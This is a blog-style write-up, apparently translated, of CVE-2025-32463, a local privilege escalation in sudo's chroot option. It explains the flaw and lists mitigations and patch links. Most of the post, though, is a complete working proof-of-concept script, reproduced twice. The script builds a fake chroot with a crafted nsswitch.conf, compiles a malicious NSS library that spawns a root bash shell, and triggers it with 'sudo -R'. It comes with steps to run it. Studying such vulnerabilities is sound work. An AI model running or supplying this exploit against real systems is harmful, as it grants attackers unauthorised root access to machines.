CVE-2025-32463: Local Privilege Escalation via Linux sudo chroot 🚶🚶Every step counts.

0x01 Introduction

sudo chroot is a powerful command combination in Linux systems that allows switching to a specified directory with superuser privileges and running commands or starting sessions with that directory as the new root directory. sudo is used to obtain administrative privileges, while chroot (change root) sets the specified directory as the new root directory, creating an isolated environment. This combination is commonly used in scenarios such as system maintenance, software testing, and security isolation. For example, when fixing system issues, one can use sudo chroot to enter an isolated environment, avoiding further impact on the main system; in software testing, it can limit the scope of the testing environment to prevent potential system-level issues. In this way, sudo chroot provides a flexible and secure way to manage and operate Linux systems.

0x02 Vulnerability Description

Vulnerability ID: CVE-2025-32463

This is a serious local privilege escalation vulnerability with a CVSS score of 7.8, classified as high risk. This vulnerability allows local low-privileged users to trigger dynamic library loading through a specially crafted malicious chroot environment, thereby executing arbitrary code with root privileges. Attackers can exploit the sudo -R (i.e., --chroot) option to trick sudo into loading malicious shared libraries from a user-specified root directory. The root cause of the issue lies in the fact that sudo begins to resolve paths in the user-controlled chroot environment before reading the sudoers configuration file.

0x03 Exploitation Conditions

1) Affected Versions

1.9.14 <= sudo <= 1.9.17

Versions in the 1.8 series and earlier are not affected as they do not include the chroot functionality. In specific configurations or distributions, even if the version is earlier than the official announcement, potential unsafe behaviors may still be exploited.

2) Permission Requirements

Regular user

3) Other Conditions

sudo version must support the --chroot feature.

0x04 Environment Setup

The author has attempted to reproduce this on ubuntu-22.04.5-desktop-amd64 and ubuntu-18.04.6-desktop-amd64, both of which failed. Finally, it was successfully reproduced on kali-linux-2024.1-amd64, and further tests confirmed that Fedora 41 Server and Ubuntu 24.04-1 are also vulnerable.

Download the Linux ISO of the vulnerable version of sudo from the official website, using the first release of Kali 2024 as an example.

https://old.kali.org/kali-images/kali-2024.1/

Then configure the Kali virtual machine on VMware; this process will not be elaborated here.

0x05 Vulnerability Reproduction

POC:

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

After successful installation, place the POC in any folder (I placed it on the desktop), then open this folder in the terminal.
Use chmod +x ./poc.sh to add executable permissions to the poc file.
Then directly execute ./poc.sh to find that it has automatically escalated to the root user.

0x06 Vulnerability Analysis

Vulnerability Principle

sudo enters a controllable chroot environment specified by the -R parameter before resolving commands matching the /etc/sudoers file. If an attacker can place malicious configuration files and dynamic libraries in that directory, it may trigger malicious code before the sudo permission checks, thereby bypassing permission control and achieving privilege escalation.

Specific Process

Enter the controllable chroot environment:

The attacker specifies a directory as the root directory of the chroot environment using the -R parameter.
sudo switches to that directory and treats it as the new root directory.

Place malicious files:

Malicious /etc/nsswitch.conf: Configuration file used to specify the loading order of glibc’s NSS (Name Service Switch) modules.
Malicious libnss_*.so dynamic libraries: Forged dynamic library files containing malicious code.
Malicious /etc/passwd and /etc/group files: Used to forge user and group information.

In the specified directory, the attacker places the following malicious files:

Trigger malicious code:

When sudo starts resolving user information, it calls functions like glibc‘s getpwnam().
glibc loads the corresponding libnss_* dynamic libraries based on the /etc/nsswitch.conf file.
Since sudo has already entered the attacker-controlled chroot environment, it will load the attacker-forged malicious dynamic library.
The malicious dynamic library will execute arbitrary code with root privileges upon loading.

Bypass permission checks:

Since the malicious code executes before the sudoers file check, there is no need to match the permission rules in the sudoers file.
The attacker can directly execute arbitrary code, achieving privilege escalation.

Essential Analysis

Key Point:glibc‘s NSS module loading mechanism is triggered before the sudo permission check, and the loaded dynamic libraries have root privileges.
Cause of the Vulnerability:sudo fails to adequately verify the security of the environment after entering the chroot environment, allowing attackers to bypass permission control through forged configuration files and dynamic libraries.

POC Analysis

This script exploits the sudo -R vulnerability by using a forged chroot environment and malicious dynamic libraries to bypass permission checks and gain root privileges.

1. Create a temporary directory

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

Create a temporary directory to store malicious files.

2. Write malicious code

cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void wot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

Write a C program that uses __attribute__((constructor)) to automatically execute code when the dynamic library is loaded.
The code will set the current process’s user and group ID to root, then switch to the root directory and start a bash shell.

3. Create a forged `chroot` environment

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

Create a forged chroot environment directory structure.
Forge the /etc/nsswitch.conf file to specify loading the malicious dynamic library.
Copy the /etc/group file into the forged environment.

4. Compile the malicious dynamic library

gcc -shared -fPIC -Wl,-init,wot -o libnss_/woot1337.so.2 woot1337.c

Compile the malicious code into a dynamic library, ensuring that the malicious function executes upon loading.

5. Trigger the vulnerability

sudo -R woot woot

Use sudo -R to enter the forged chroot environment, triggering the loading of the malicious dynamic library and executing the malicious code.

6. Clean up temporary files

rm -rf ${STAGE?}

Delete the temporary directory to clean up traces.

0x07 Mitigation Recommendations

Security Updates

The official security update has been released; users are advised to upgrade to the latest version: sudo >= 1.9.17p1

Official Patches

https://www.sudo.ws/security/advisories/host_any/
https://www.sudo.ws/security/advisories/chroot_bug

Temporary Measures

Search the environment for any content using the Host or Host_Alias options. Check all Sudo rules defined in /etc/sudoers and files under /etc/sudoers.d. If Sudo rules are stored in LDAP, use tools like ldapsearch to dump these rules.

Reference Links

https://ubuntu.com/security/CVE-2025-32463
https://nvd.nist.gov/vuln/detail/CVE-2025-32463

Author｜HowellTypesetting｜Stock Price

For learning reference only,

Please do not use for illegal purposes, otherwise consequences will be at your own risk.

Follow “Bear_Hackers” to learn with us, see you next time!🥰❤️If you like it, give it a thumbs up～ 👍👍

CVE-2025-32463: Local Privilege Escalation via Linux sudo chroot

0x01 Introduction

0x02 Vulnerability Description

0x03 Exploitation Conditions

1) Affected Versions

2) Permission Requirements

3) Other Conditions

0x04 Environment Setup

0x05 Vulnerability Reproduction

0x06 Vulnerability Analysis

Vulnerability Principle

Specific Process

Essential Analysis

POC Analysis

1. Create a temporary directory

2. Write malicious code

3. Create a forged `<span>chroot</span>` environment

4. Compile the malicious dynamic library

5. Trigger the vulnerability

6. Clean up temporary files

0x07 Mitigation Recommendations

Reference Links

Leave a Comment Cancel reply

0x01 Introduction

0x02 Vulnerability Description

0x03 Exploitation Conditions

1) Affected Versions

2) Permission Requirements

3) Other Conditions

0x04 Environment Setup

0x05 Vulnerability Reproduction

0x06 Vulnerability Analysis

Vulnerability Principle

Specific Process

Essential Analysis

POC Analysis

1. Create a temporary directory

2. Write malicious code

3. Create a forged <span>chroot</span> environment

4. Compile the malicious dynamic library

5. Trigger the vulnerability

6. Clean up temporary files

0x07 Mitigation Recommendations

Reference Links

Related posts

Leave a Comment Cancel reply

3. Create a forged `<span>chroot</span>` environment